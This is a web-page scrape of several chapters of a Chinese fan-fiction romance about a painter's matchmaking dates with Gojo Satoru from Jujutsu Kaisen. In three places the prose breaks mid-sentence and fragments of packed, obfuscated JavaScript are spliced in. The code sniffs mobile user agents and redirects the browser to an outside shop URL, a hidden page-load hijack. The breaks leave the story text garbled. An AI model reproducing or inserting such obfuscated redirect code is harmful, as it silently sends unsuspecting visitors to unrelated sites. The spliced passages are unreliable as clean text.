l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177030|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 第二遍。 她盯着那闪烁的陌生号码,没有动。接,还是不接?接了说什么?“你好,五条悟的手机在我这里”?这听起来也太奇怪了。 震动再次停止。 第三遍。 第四遍。 对方异常执着。这种锲而不舍的拨打,让结月原本的犹豫逐渐被另一种担忧取代——该不会,真的是有什么急事吧?万一……是学校找他有紧急事务?或者家人? 当第五遍震动再次响起时,那种“可能耽误正事”的不安压过了尴尬。她深吸一口气,指尖划过接听键,甚至没来得及将手机凑到耳边,就抢先一步,用尽可能清晰冷静的语气对着话筒说道: “您好,这不是五条悟本人。我是他今晚的……相亲对象。我们不小心拿错了手机,请问您是哪位?有急事的话我可以帮忙转达,或者让他尽快回电——” 她一口气说完,心跳如鼓。 电话那头诡异地安静了两秒。 然后,背景音里率先传来一声惊诧而不可置信的柔软少年音:“纳、纳尼?” 接着,更多嘈杂的、年轻的声音涌了进来,充满了难以置信和“抓到了!”的兴奋:“真的假的?!电话通了?不是五条老师?” “她说什么?相亲对象?!那个眼罩笨蛋竟然真的跑去相亲了?!” “重点不是这个吧!重点是他说好了今晚要请我们吃超——贵寿司的!居然放我们鸽子?!” “哇这么帅气的五条老师居然也需要相亲才能有对象吗?” “悠仁你这个找不到重点的笨蛋给我闭嘴!!” “鲑鱼!!” 一个听起来温和但此刻也带着无奈笑意的男声试图主持局面:“那个……大家先冷静一下。这位……小姐,非常抱歉,我们是五条老师的学生。我们找他是因为……呃,他本来约了我们今晚一起吃饭,但一直没出现,电话也打不通,所以我们有点担心……” “才不是担心!是讨债!”一个清脆利落的女声毫不客气地打断,带着浓浓的不满和好奇,“喂,这位……相亲对象小姐?我们那个除了脸和实力一无是处、性格糟糕透顶的老师,居然会丢下承诺好的大餐跑去相亲?这简直是本年度……不,是本世纪最大奇闻!你还好吗?没被他气到当场走人?” 结月被这连珠炮似的、信息量巨大的“控诉”弄得一愣,随即心里升起一股强烈的、为五条悟感到的尴尬和过意不去。 他……竟然为了来相亲,放了自己学生的鸽子?还是承诺好的请客? 一个高中老师的工资……请学生吃大餐,又请相亲对象在这么贵的餐厅吃饭…… 她几乎能想象出电话那头,一群学生从满怀期待到被放鸽子、再到震惊发现老师居然是为了相亲而放鸽子的复杂心情。而这一切,似乎都间接和她有关。 “非、非常抱歉!”结月下意识地道歉,语气真诚,“我不知道他原来和你们有约……他可能……临时有重要的……”她卡住了,总不能说“临时有重要的相亲吧”?这听起来更像借口了。 “重要到连电话都不接?”女声——似乎叫真希——哼了一声,但语气里的不满似乎因为接电话的是个“正常女性”而缓和了些,反而多了探究的兴致,“算了算了,看在他居然能正儿八经去相亲的份上,这次饶了他。不过这位……怎么称呼?” “朝日奈。”结月回答,心里还在为那个“眼罩笨蛋”被学生吐槽和“讨债”而感到些许愧疚。他明天回学校,肯定会被学生们嘲笑吧?因为她…… “朝日奈姐姐!”真希的称呼立刻变得亲切,但话里的调侃没少,“能让我们老师放下到嘴的寿司跑去见面的女性,您一定是位了不起的人!请一定……嗯,好好管教他!” “木鱼花!鲑鱼!”背景里传来奇怪的拟声词。 那个温和的男生——忧太,再次努力把话题拉回正轨:“朝日奈小姐,打扰您了非常抱歉。既然老师的手机在您这里,那我们就放心了。请您转告老师……嗯,学生们都很‘关心’他。祝您夜晚愉快。” 电话在一片“一定要告诉那个眼罩笨蛋我们很生气!”“别忘了寿司欠账!”“腌高菜!”“记得带套啊!!”的混乱背景音中被挂断。 结月慢慢放下手机,看着屏幕上恢复平静的通话记录,心情复杂。 4. 第 4 章 ——居然真的,又见面了。 朝日奈结月伸手接过自己的手机,不好意思地抬头,正准备歉意满满地开口说第二次“对不起”,她的相亲对象却已经懒洋洋地把自己的手机揣进了兜里,连同那副早就被他摘下的墨镜一起。 “不会只是一句‘对不起’就这样敷衍地打发我了吧,结月酱?”五条悟拖长尾调,垂下眼,笑意盈盈地看着她,“相亲这种事情被学生们知道,真的是超——级丢人的啦!我可是被学生们没有良心地狠狠嘲笑了一整晚欸?” 果然是被嘲笑了吗? 结月心里一紧:年纪轻轻去相亲这种事情,果然是正常人都会被亲友们背地里吐槽的吧。 再想到头一天晚上的饭钱很可能花了他小半个月工资——这种猜测让她越发过意不去,愧疚像沉甸甸的石头压在胃里。 “那……”她双手合十,诚意满满地道歉,“我请悟君去吃汤咖喱吧?我在原宿偶尔吃过一家辣得最过瘾的汤咖喱呢。真的是万分抱歉,虽然我知道仅仅只是一顿饭应该无法弥补悟君内心的创伤,但是——” 也许是她过于真挚的语气,也许是“内心创伤”四个字太认真,又或许是她强调“辣得最过瘾”听起来像某种郑重其事的诱捕,总之不知道是哪一点戳到了他的笑点—— 五条悟忽然毫无征兆地笑出了声。 他笑得前仰后合,用那只骨节分明的手遮住眼睛,笑得直不起腰来。 结月错愕地张了张嘴:“桥豆麻袋,所以——” 他直起身,倏然止住笑,气息却恢复得过分平稳。周遭嘈杂的车流与人声仿佛在这一瞬被按下静音键,又旋即恢复。 “被冷酷无情地嘲笑了一晚上是真的啦。”他歪了歪头,摊开手,一副无辜的模样,“不过我一个大男人,因为这点小事就‘内心创伤’——噗哈哈哈哈哈,这么想的结月酱真的是,太可爱了。” ……这么容易就笑得这么开心,这个男人还怪开朗的。 第一次被人连着夸“卡哇伊”,结月还真有点不习惯。她绷着脸,试图用平淡的语气遮掩耳尖莫名的发烫:“那就让可爱的朝日奈小姐带你尝一尝东京最好吃的汤咖喱吧。” ——Soup Curry King。 这家开在原宿的汤咖喱,是札幌的分店。大一在北海道采景时吃到的第一顿饭,当时顿感惊为天人。后来得知东京也有分店,她便成了常客。 她们本来可以在饭点排长队之前就赶到的。 但她着实没想到,她的相亲对象一路上像个好奇心满满的小孩子——看见玩偶店就要进去摸两下毛茸茸的奶茶猫抱枕,路上遇见遛萨摩耶的路人还要蹲下来和狗狗合照自拍,就连堂吉诃德他都要拉着她在一楼溜达一圈。等他们出来时,他手里已经大包小包买了一堆她从来没吃过的零食。 结月拦也拦不住。 主要是这家伙身高腿长,看起来比190还要高一点的他迈一步,她得跨两三步才能跟上。东京就没有比他更高的男人了吧?! “呐,我说悟——”她气喘吁吁地跟在他身后,那个“君”的后缀还没来得及说出口,五条悟却猝不及防地停下脚步,骤然转身,笑意漾在眼底,狡黠地将一颗形状饱满的草莓夹心棉花糖塞进了她的嘴里。 柔软的棉花糖在舌尖化开,甜得有些过分。 结月被他突如其来的举动吓了一跳,下意识后退半步,后背却正好撞上他伸过来的手臂。那是一种极轻却不容忽视的阻挡,像是早就预判到她的重心会往哪里偏移。 “……唔!”她含着棉花糖,说话变得含糊不清,只能瞪着他。 五条悟却像是对自己的“投喂”成果相当满意,微微俯下身,凑得有些近,语调轻快得理直气壮:“草莓红豆味的哦,限定款。看你刚刚盯着看了好几秒,还以为你不好意思说呢。” 结月愣了一下。 她什么时候盯着看了? 正想反驳,棉花糖的甜味却已经顺着舌根蔓延开来,堵住了后半句。等她终于把那一小块甜腻的罪证咽下去,再抬头时,他已经若无其事地转过身,继续往前走了。 “快点啦结月酱~”他头也不回地挥了挥手,“再磨蹭的话,汤咖喱就要排到地狱去了哦。” ……这家伙。 结月无奈地叹了口气,加快脚步跟上去,心里却隐约生出一种微妙的违和感。 不是不适。 而是某种……被照顾得过于自然的感觉。被他照顾。 她把这个念头压了下去。 只是巧合而已。 原宿的人流依旧喧闹。他们排进汤咖喱店门口那条蜿蜒的队伍里,空气里混杂着香料和辣椒的气味,让人忍不住开始分泌口水。 “结月酱常来这里吗?”五条悟站在她身旁,双手插在口袋里,语气随意。 “嗯。”结月点了点头,“这家的辣度很纯,不是那种单纯刺激味觉的辣,是会让人……清醒的那种。” 也许是“清醒”这个词让他觉得很有趣,五条悟垂落眼睫,漫不经心地低低笑了一声:“听起来好危险哦。” “所以我一般只在心情不太好的时候来。” 话一出口,结月才意识到这句回答有点过于私人了。她正准备补一句“开玩笑的”,他却已经接了下去。 “那今天呢?”他侧过头看她,苍蓝色的眼睛在街灯下显得格外明亮,“结月酱今天心情不好吗?” 队伍缓慢向前移动了一小步。 结月怔了一下,认真地想了想。 “……也没有。”她说,“只是觉得,发生了一些预料之外的事情。” “比如拿错手机?” “比如拿错手机。” “比如被学生发现去相亲?” “……这个的确是我的错。”结月停了一下,还是承认,“但也是事实。” “欸——好过分。”他夸张地叹了口气,又很快笑起来,“不过也对啦,毕竟结月酱看起来就不像是会做‘预料之外’的事的人。” 结月心口微微一紧。 他语气太轻了,像是在随口聊天。可那句话落下的瞬间,她却下意识绷直了背脊,像是被什么看不见的东西轻轻碰了一下。 不像? 她正想追问,他却已经伸手指向菜单牌。 “啊,轮到我们了。”他说,“结月酱推荐哪种辣度?事先说好哦,我可是完全不怕辣的。” 也许是出于职业习惯,结月敏锐地捕捉到了他下意识用的字眼。 不怕辣,不代表喜欢吃辣。 她看着他自信满满的样子,忽然生出一点极其不合时宜的恶作剧心思。 “那就……最高级别吧。”她弯起眼睛,露出一个温和无害的笑容,“毕竟悟君刚刚还说很危险,对吧?” 他愣了半秒。 然后笑得更开心了。 “好啊。”他毫不犹豫地点头,语气轻快得近乎天真,“结月酱请客的话,就算是地狱级别,我也奉陪到底哦。” ——这样说着的他,一点也不矫情地点了一碗和她一模一样、最高辣度的牛肉咖喱,然后迅速加单了一杯桃子味汽水和北海道牛奶布丁。 而结月点了一杯札幌生啤。 服务员毫不意外地放反了点单。 结月看着摆在她面前的那杯小甜水和甜品,又看了一眼摆在五条悟面前的札幌生啤。她抬眼与他对视的那一瞬间,两个人忽然一同笑了。 “完全是女孩子的口味啊悟君。”结月笑着摇了摇头,“说起来,刚才那一袋子棉花糖已经被你全部吃掉了吧?这么喜欢吃甜的,是因为生活太苦所以要吃点甜吗?” “第一次听见这种说法欸?”五条悟惊奇地看了她一眼,舀起第一勺汤咖喱拌饭——浸满暗红色辣油、热气腾腾——像是为了证明什么,毫不犹豫地送入口中。 第一秒,是静止。 那张似乎永远游刃有余的面孔出现了一瞬的空白。 然后,轰然引爆。 “——哈啊?!” 那双璀璨的苍蓝眼眸几乎瞬间蒙上一层潋滟水光,长长的白色睫毛急促地颤了几下,仿佛试图扇走那股灼热。他猛地吸了一口气,又被辣意呛得低低咳嗽了一声,声音闷在喉咙里,带着点可怜的鼻音。 他放下勺子,手指无意识抓了抓后颈的头发,另一只手飞快抓过那杯桃子汽水,仰头“咕咚咕咚”灌下去大半杯。冰凉的汽水似乎缓解了瞬间的冲击,他长长舒了口气,带着水光的眼睛瞪向对面忍笑的结月,语调是前所未有的、带着点真实狼狈的上扬: “这、这是什么啊结月酱?!是岩浆吗?!绝对是把地狱的熔岩直接灌进去了吧!‘清醒’的辣原来是这种‘醒来发现自己在火山口’的意思吗?!” 他的抱怨因为舌尖的麻感和残留的刺激而有些含糊,少了那种游刃有余的漫不经心,多了几分生动的气急败坏。 尽管眼眶泛红,他呼吸的节奏却在最初的冲击后,以惊人的速度恢复正常——甚至比普通人适应辣味还要快。 看着眼前这个白发微乱、正孩子气抱怨着的男人,结月恶作剧得逞的轻笑先从嘴角溢出。 但很快,一种更柔软、更汹涌的情绪淹没了上来。 她的心跳漏了一拍。 ——这就是她渴求的那种普通人日常。 ——一个喜欢吃甜品、会被辣得有些狼狈却又可爱的“高中老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177031|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。五条悟似乎能满足她所有关于“普通人”和“普通恋爱”的幻想,像一个完美到不真实的对象。 “给,牛奶布丁。”结月把他的甜品推过去,声音不自觉放软,“这个解辣更有效。” 五条悟像只被辣到的大型猫科动物,毫不犹豫挖了一大口布丁塞进嘴里,幸福地眯起眼。 “……活过来了。”他长长舒了口气,随即用一种混合着委屈、控诉和奇异兴奋的眼神看向结月,嘴角又勾起那抹熟悉的、带着点挑战意味的笑,“但是,结月酱,我记住了哦。这份‘地狱款待’。” 他说这句话时,语气轻快,笑容明亮。 汤咖喱吃到后半段,辣意终于开始在口腔里留下顽固的余温。结月放下勺子,端起水杯喝了一口,却发现那点清水只能把灼热推得更深。 她下意识摸向包里。 没有。 这才想起来——那支她常用的漱口水,前几天刚好用完了。是她很偏爱的一个小众牌子,几乎没有什么人知道,味道极淡,带一点薄荷与草本混合的清凉感,最近还偏偏是限定包装,断货得很彻底。 她当时还为此懊恼了好一会儿。 “怎么了?”五条悟注意到她的动作,歪了歪头。 “没什么。”结月摇了摇头,“只是有点辣,忽然有点后悔没买漱口水。” “诶——漱口水?”他眨了眨眼,语气轻快,“这种时候确实很需要欸。” 她没多想,只是笑了一下。 然后—— 五条悟伸手,从自己那一堆乱七八糟的购物袋里翻了翻,动作随意得像是在找一包糖。下一秒,他已经把一支小巧的便携漱口水递到了她面前。 “给。” 结月的笑意,在看到那支漱口水的瞬间,轻微地停顿了一下。 是同一个牌子。 她再熟悉不过的包装设计、字体、甚至瓶身的触感。 只是味道不一样。 不是她一直买、却已经断货的那一款,而是同系列的另一种限定风味——她前几天在官网刷到过,正准备下单,却显示“暂时售罄”的那一款。 ……她当时还想过一句。 【算了,下次再买吧。】 结月的指尖在半空中停了一秒。 时间短到几乎可以忽略。 “你也用这个牌子?”她接过来,语气听起来依旧自然。 “嗯?”五条悟像是没察觉到任何异常,笑眯眯的,“味道很清爽嘛,而且这个系列不是很难买吗?刚好看到就顺手拿了。” 顺手。 结月拧开瓶盖,清凉的气味散开,确实是她熟悉、甚至称得上安心的味道。 她漱了口。 辣意被迅速压下去。 可那股清醒,却比预期来得更快。 “……谢谢。”她把漱口水递回去,语气温和。 “诶?不用谢啦。”五条悟接过来,随手又丢回袋子里,像这不过是再普通不过的一件小事,“结月酱刚才不是还说很需要嘛。” 他说得太自然了。 自然到——如果不是她恰好知道那款漱口水有多难买,如果不是她自己前几天刚刚因为没买到而懊恼过—— 她可能真的会把这一切,归结为运气好。 巧合。 普通人的巧合。 结月只是把那点不合时宜的停顿吞下去,像吞下一枚细小的鱼刺——不至于刺穿喉咙,却会在每一次吞咽时提醒你它还在。 那支漱口水被他随手丢回购物袋里,塑料瓶身轻轻磕到袋底,发出一声闷响。 他做得太自然了。自然得像——他本来就该带着,刚好也本来就该递给她。 而“刚好”,在结月这里从来不是一个让人安心的词。 她指尖在桌沿上轻轻摩挲了一下,才抬眼,努力把表情维持在“只是有点意外”的范围里。 “你刚好买到这个味道?”她语气很轻,像随口一问。 五条悟“嗯?”了一声,懒洋洋地笑起来:“这个味道很受欢迎欸。结月酱不是喜欢这种清爽一点的吗?” 他把“不是吗”三个字说得很随意,像在确认一件显而易见的小事。 她抿了抿唇,心底忽而升腾起一种微妙晦涩的感觉:明明才见了两面,总觉得五条悟比自己想象中还要了解她。 他们以前,应该不可能……认识吧? 她想不通如果认识,为什么他会假装不认识来接近她。毕竟她只是一个普普通通的油画家。什么也给不了他。 朝日奈结月把这个莫名其妙的想法果断否决掉。 应该只是她想多了。他们只是真的恰好非常有缘而已。 5. 第 5 章 很奇怪,朝日奈结月在这天晚上,居然开始……做梦了。 从前闭上眼入睡后意识空间里只有一片空白。不是不记得梦,是梦境本身便是完完全全像纸张一样的空白。 可是这天晚上,不知道是不是因为潜意识里在不自觉地分析自己这位相亲对象的缘故,头一次,从有记忆以来,朝日奈结月真真切切地做梦了。 她竟然梦见了五条悟。 当然,很遗憾,并不是什么‘少女怀春’的那种会被正经网站和谐的梦。 她梦见了他的背影。 他穿着陌生的黑色紧身制服,背对着她,看不见他的面孔,看不见他的神情,看不见他的眼睛,但是她知道,那就是他,是五条悟。 她听见梦里的自己用着颤抖的,仿佛下一秒就要流眼泪的声音对他说着些什么,却听不清梦里自己的声音。 她想说出口的后半句话像是被什么看不见的力量硬生生掐断了,像被折了根茎的花,摇摇欲坠着捂着唇,咳得鲜血淋漓。 他始终没有回头。 看不见笑意的侧脸在沉默时总是显出令人心惊的淡漠。 朝日奈结月被手机闹铃蓦然惊醒。 也许是刚睡醒脑袋还没有清醒的缘故,手比脑子先快了一步—— 她用着有些好笑又无奈的语气给五条悟的LINE发了短信。 【我昨天晚上好像梦见你了。】 发完以后她才忽然意识到这句话有多么的不矜持,这也太不符合她的人设也太容易让人误会了吧! 【不是那种梦!!!】她满脸通红地飞速发了第二条短信解释自己。 没想到他的短信回的这般迅速,几乎是秒回般的速度:【[乖巧猫猫头.jpg]不是那种梦,那是哪种梦诶~】 于是之前梦里什么沉重啊难过啊什么撕心裂肺的残留都消散不见。 她能清晰感受到自己的脸颊因为羞涩、生自己的气、赧然等等情绪而开始泛红发热:【真的没什么。就是梦见了你的背影而已。】 他似乎在思忖些什么。聊天框里的‘输入中...’显示了将近有快一分钟的时间,才看见他回了短短的几个字:【哇哦,那结月酱梦里的我,真的超过分欸。】 聊天框里那句轻飘飘的调侃,像一只被人随手抛起的小石子,在她心里荡开一圈又一圈的涟漪。 结月盯着屏幕看了几秒,最终还是没有继续接这个话题。 梦里的情绪太重了。 而现实里的五条悟,又太轻。 她需要一个能把这两者分开的人。 于是,她点开了另一个对话框。 备注只有一个字。 ——【杰】。 她唯一的、失忆后认识至今、从不需要解释太多的男性友人。 也是她至今为止,唯一一个不会因为她提起“空白的恋爱经历”而立刻下结论的人。 结月:【我跟你说件有点微妙的事。】 然后她的指尖悬浮在手机屏幕上,聊天状态停留在了‘正在输入中’有五分钟之久。 杰:【嗯?你说,我在听。】 语气一如既往地温和,像是在给她留足时间。 结月:【我去相亲了。】 那边沉默了两秒。 杰:【……你?】 不是质疑,更像是在确认自己有没有看错。 结月忍不住笑了一下。 结月:【对,就是我。】 结月:【而且问题在于——这个相亲对象,普通得有点不正常。】 杰:【“普通得不正常”,听起来就不怎么普通了呢?】 她几乎能想象出他说这句话时,嘴角那点若有若无的笑意。 结月:【所以才麻烦。】 杰:【说说看?】 她想了想,慢慢敲字。 结月:【少年白头。】 结月:【眼睛好像有点基因变异,不是混血,却有一双蓝眼睛。】 结月:【长得比混血还要好看。】 那边没有立刻回复。 她索性继续。 结月:【性格其实很幽默,也很有趣。】 结月:【有时候甚至……挺可爱的。】 指尖在屏幕上停了一瞬。 结月:【但不知道为什么。】 结月:【有些时候,会让人心里突然一跳。】 结月:【不是不舒服,是那种……意识到这个人其实很危险的感觉。】 结月:【就好像你明明站在阳光底下,却忽然发现自己踩在悬崖边缘。】 这一次,聊天框那头安静得有点久。 久到她几乎能想象出他垂着眼、拇指轻轻停在屏幕上的样子。 就在她准备补一句“可能是我太敏感了”的时候,消息跳了出来。 杰:【……】 只有一个省略号。 随后才是第二条。 杰:【你这个形容。】 第三条。 杰:【让我想起一个人。】 结月怔了一下。 结月:【谁?】 那边的回复慢了半拍,像是在权衡措辞。 杰:【我认识了十多年的挚友。】 结月:【挚友?之前怎么从来没有听杰提到过?】 杰:【十多年前,高中的时候……吵了一架。冷战了好几年。最近因为一个契机,算是和好了,处于一种奇怪的合作关系中。】 语气依旧温和,却刻意模糊了重点。 结月眨了眨眼。 结月:【听起来……他似乎不像什么适合相亲的人选?】 这一次,杰很快回了。 杰:【从“会不会按常理行事”这个角度来说。】 杰:【确实不太适合。】 他停了一下。 这短短的空白,比任何强调都更有分量。 杰:【不过。】 结月盯着屏幕。 杰:【如果是他。】 下一条随之而来。 杰:【大概连“去相亲”这个选项,都不会出现在备选里。】 不是否定世界的巧合。 而是否定那个人的“动机”。 结月忍不住笑出了声。 结月:【这么笃定?】 杰:【嗯。】 只回了一个字。 却像是早就想过这个问题。 结月:【那大概真的是我想多了吧。】 结月:【世界上不可能有两个这么“不正常的普通人”。】 *** 东京都立咒术高等专门学校—— 会议室里的气氛原本是紧绷的。这是交流赛前的一次联合会议。 投影幕布上还停留着尚未翻页的情报资料,关于某只异常咒灵的活动轨迹、残秽分布,以及尚未确认的成因分析。桌面上散落着文件夹和记录板,空气里残留着咖啡与消毒水混合的味道。 而五条悟,显然并不属于这份紧张。 他没有坐在主位,也没有靠前。 而是反着坐在会议桌尽头的椅子上,椅背朝前,双臂自然地搭在椅背上,无处安放的大长腿随意地向前伸着,甚至有一截脚尖越过了桌脚的范围。 黑色眼罩覆在他冷白的脸上,遮住了视线,却丝毫没有削弱存在感。 相反—— 那层遮挡让人更难判断,他此刻究竟在“看”谁。 “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177032|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结论是?” 他忽然开口,语调懒洋洋的。 并没有点名任何人。 可会议桌另一端负责汇报的辅助监督,却下意识挺直了背。 “是的……从残秽反应来看,这只咒灵的生长形态,确实不像是自然形成的。” 五条悟“哦”了一声。 那声音很轻,甚至有点漫不经心。 他像是随意地抬手,用指节在椅背上敲了两下,节奏不急不缓,却让会议室里不自觉地安静了一瞬。 “也就是说,”他总结得极快,“有人动了手脚?” “……目前只能判断有外界干预的痕迹。” “欸——那还真是麻烦。” 他叹了口气,像是在抱怨天气不好。 可那句话落下时,没人敢真的把它当成一句抱怨。 因为五条悟的“麻烦”,从来不代表事情棘手。 只意味着——会有人要倒霉了。 就在这时,放在他手边的手机轻轻震动了一下。 很短的一声。 五条悟低头看了一眼。 只是极其随意的一眼。 然后,他唇角的弧度,几不可察地上扬了那么一点。 不是明显的笑。 更像是某种被取悦了的情绪,在他自己尚未意识到之前,已经先一步浮现在表情上。 坐在斜对面的硝子立刻捕捉到了这个变化。 她挑了挑眉,语气带着点调侃:“哇哦。” 五条悟没抬头,只是把手机翻了个面,随手扣在会议桌上。 “怎么啦?” 他语气轻快,“我看起来像是偷懒被抓包了吗?” “昨天学生们不是在传你去相亲了吗?”硝子慢悠悠地说,“我还以为是他们编的。” 会议室里安静了一瞬。 “——咔。” 一声清脆却突兀的碎裂声响起。 七海面无表情地低头,看了一眼自己掌心里裂开的玻璃杯,语气平直:“……抱歉,没注意。” 歌姬几乎是立刻炸开。 “哈?!” “等等,真的假的?!” “你?五条悟?相亲?!” 她上下打量了他一眼,毫不客气地补刀:“以你这种性格,对方不可能愿意出来第二次吧?” 五条悟歪了歪头。 “诶——为什么这么说?” 他语调轻松得过分,“我们昨天已经见第二次了哦。” 会议室直接静音。 “……哈?!” “第二次?!” 歌姬几乎拍桌:“你肯定耍手段了吧?!绝对耍手段了吧?!” 五条悟想了想。 然后,非常坦然地点了点头。 “嗯,一点点啦。” “——喂!!!” “只是把手机调换了一下而已嘛。” 他语气随意得像在说“多买了一份甜点”,“不然的话,很容易就被当成‘太过危险的心动相亲对象’拒绝掉吧?” 硝子盯着他看了两秒,面无表情地点燃一支烟。 “五条,她要相亲的那个人,原本真的应该是你吗?” 五条悟闻言,神情未动,笑得格外漫不经心。 “不是人家还能是谁嘛。” 他依旧反着坐在椅子上,姿态松散又理直气壮。却答非所问。 “我可是在非常认真地,尝试‘普通人的交往流程’哦。” ——这句话落下的瞬间。 会议室里,没有任何人接话。 因为所有人都很清楚一件事—— 五条悟口中的“普通”,从来都不是安全选项。 6. 第 6 章 决定不放同学们的鸽子、这一次真的去参加毕业后的同学聚会——完全是朝日奈结月心血来潮做的决定,就像她决定去相亲时一样。 她把今天废掉的第二十五张画稿撕成两半,纸边划过指尖,轻微的刺痛反而让她清醒了点。 因为那张画稿第二十五次不受控制地蘸满了一种怎么调都调不出来的蓝,像是颜料自己找到了归宿,固执地往同一个方向奔涌——在苍白的纸面上,一遍又一遍,去描摹某一双眼睛。 可最开始,她明明只是想随手画一片天空的。 她喜欢一切都在掌握之中的感觉:呼吸、脉搏、情绪、甚至身体对外界的每一次反应。 而这种失控,会让她想逃。逃离源头,逃离那双让她失控的眼睛。 果然,从决定去相亲那一刻起就是个错误吧。 这样她也不会废掉二十五张画稿,手像是被什么附了身似的——明明嘴上说着“无所谓”,笔尖却诚实得要命。 ……算了。 去同学聚会,换个心情。 她看了一眼来自相亲对象的短信。 【在干嘛,结月酱~[猫猫探头.jpg]】 她指尖一动,下意识想回。 看了一眼时间,又把屏幕按灭。 她才没有期待他主动发短信。 也完全不会秒回。 好像她有多上头一样—— 完·全·没·有·好·吗! 于是结月努力压平不受控制上扬的嘴角,心情莫名其妙地轻快起来,拎包出门。 聚会地点定在银座一家据说是“东京最棒的A5松阪牛”的烤肉店。 她居然是最后一个到的。 而更离谱的是:不知道谁提前打了招呼,他们把她的位置,恰好留在了一个前追求者旁边。 艺术史系的学长? 长得像佐藤健那位? 名字……不记得了。 她的记性本来就不好。对不重要的人尤其如此。 她只记得他当初稍稍吸引过她一瞬——然后她就很快下头,拒绝、拉黑、删除,一套流程熟练得像在整理垃圾桶。 ……结果现在又被翻出来。 算了,无所谓。 “我们大美女终于到了~” “校花终于要和校草同框了吗?” “哇朝日奈桑今天居然真的来了!!” 在一片起哄声里,结月面无表情地掠过那把唯一空着的椅子,径直走到大学里她为数不多算得上“脸熟”的圆脸女生旁边,温柔地拍了拍对方肩膀。 “亲爱的,换一下座位。” 她同样不记得对方名字——但这不妨碍她说得理直气壮。 圆脸女生本来还皱着眉不耐烦,一抬头对上结月那张过分漂亮的脸,表情立刻像被按了重置键:“啊?诶——?哦哦哦……好呀好呀!” 旁边男生们起哄不满,她也当没听见,兴高采烈地站起身换了座。 “这就有点没意思了吧,结月酱?” “就是就是。宫下桑以前喜欢过你没错,但避嫌避得这么明显也太伤人自尊心了吧?” 结月困惑地皱了皱眉,用极其温柔的语气,说出坦荡而冷漠的话: “可这跟我有什么关系?” 局面“轰”的一下炸开。 朝日奈结月不管在哪里都是焦点——不仅因为她那张容易让人一见钟情的脸,更因为她招惹是非的体质,像磁场一样精准吸引麻烦。 在一片纷纷扬扬的议论声里,宫下桑温柔地开口:“没关系。避嫌是应该的。毕竟以前……确实是我做得太过了。” 他话音未落,就被对面替他打抱不平的男声粗声粗气打断: “每天接送上下课,几百万拍下朝日奈小姐的废稿——这根本就不过分!是朝日奈小姐——” “我想重新追求朝日奈小姐。” 宫下桑立刻截断对方,不动声色地把场子往“告白”那条轨道上推。他的声音放得更温柔、更体面: “我不奢求你立刻答应我,只是想重新追求你。可以吗?” 众人一下子安静下来。 十几双眼睛齐刷刷盯着她—— 好像她不点头,就成了那个“无情无义”的人。 他在给她施压。用众人的反应。用道德绑架。 而结月最讨厌这一套。 “不可以。”她微笑着,干脆利落。 “为什么啊?结月酱明明没谈恋爱不是吗?连追求的机会都不给学长也太过分了!”连圆脸女生都开始打抱不平。 结月慢吞吞地想了想。 需要一个能彻底、干净、一次性解决这个饭局场面的理由。 然后,她脑子里冒出一个危险又不厚道的念头。 “啊……”她语气平静得像在说今天天气,“其实我有男朋友了。” 鱼雷轰然引爆。 “纳尼?!什么时候的事情?!” “不可能吧,脸书上还是单身状态呢?” “我妈妈的姑姑的堂弟前几天还看见朝日奈小姐一个人去看电影——” “这种借口也太过分了!” 吵得像一窝乱飞的蜜蜂。 结月头疼得想直接掀桌。 她从包里拿出手机,视线落在通讯录里那个才出现没几天的名字上。 她其实也没信心他会不会接。 更无法预测接通后他会说什么。 但心神微动的一秒,她偏偏就心血来潮地这么做了。 ——电话响到第五下才被接通。 那边背景音有点嘈杂,像在什么施工场地。 他尾音愉悦上扬,带着点懒散笑意的声音透过听筒传来: “摩西摩西~” 结月没有给他任何反应的时间,语速清晰又快: “あなた,你下班了吗?” 她甚至不给自己后悔的空隙,继续把戏演到底—— “我这边有点吵,不过没关系。” “诶呀,都说了只是普通同学聚会,不用担心了啦。我也想你哦。爱你。” 然后她按下挂断。 ——嘟。 干脆利落。 包厢里瞬间死寂。 而在那一秒的静默里,电话另一端—— *** 废弃商厦的中庭已经崩得不成样子。 钢筋扭曲裸露,水泥碎块悬在半空,像是被某种“理应如此”的规则强行扣住;下一秒又在无形的压力里碎成齑粉,簌簌落下。 空气里残留着令人作呕的咒力味。 几只一级咒灵挤在废墟边缘嘶吼蠕动,形态还没稳定,就已经本能地往后缩—— 不是害怕死亡。 而是害怕靠近他。 五条悟站在中央。 黑色高专制服贴合着身形,干净利落得像没有一丝多余褶皱。白发在夜色里冷得刺眼。那张线条锋利漂亮的脸戴着漆黑的眼罩,站姿却松散随意,让他整个人更像某种——被封印的危险本身。 他双手插在口袋里,姿态懒得像在散步。 “……就这?” 他声音很轻,甚至带着点嫌弃的困倦。 “一级的杂鱼诶……让GTG来处理也太过分了嘛。那群蠢货到底对‘最强’有什么误解啊?” 其中一只咒灵像被这份轻慢刺激到了极限,尖啸着扑上来,带着咒力腥气的阴影几乎要把他吞掉。 五条悟连头都没抬。 他只是从口袋里抽出一只手,食指与中指并拢,随意地往下压了一下。 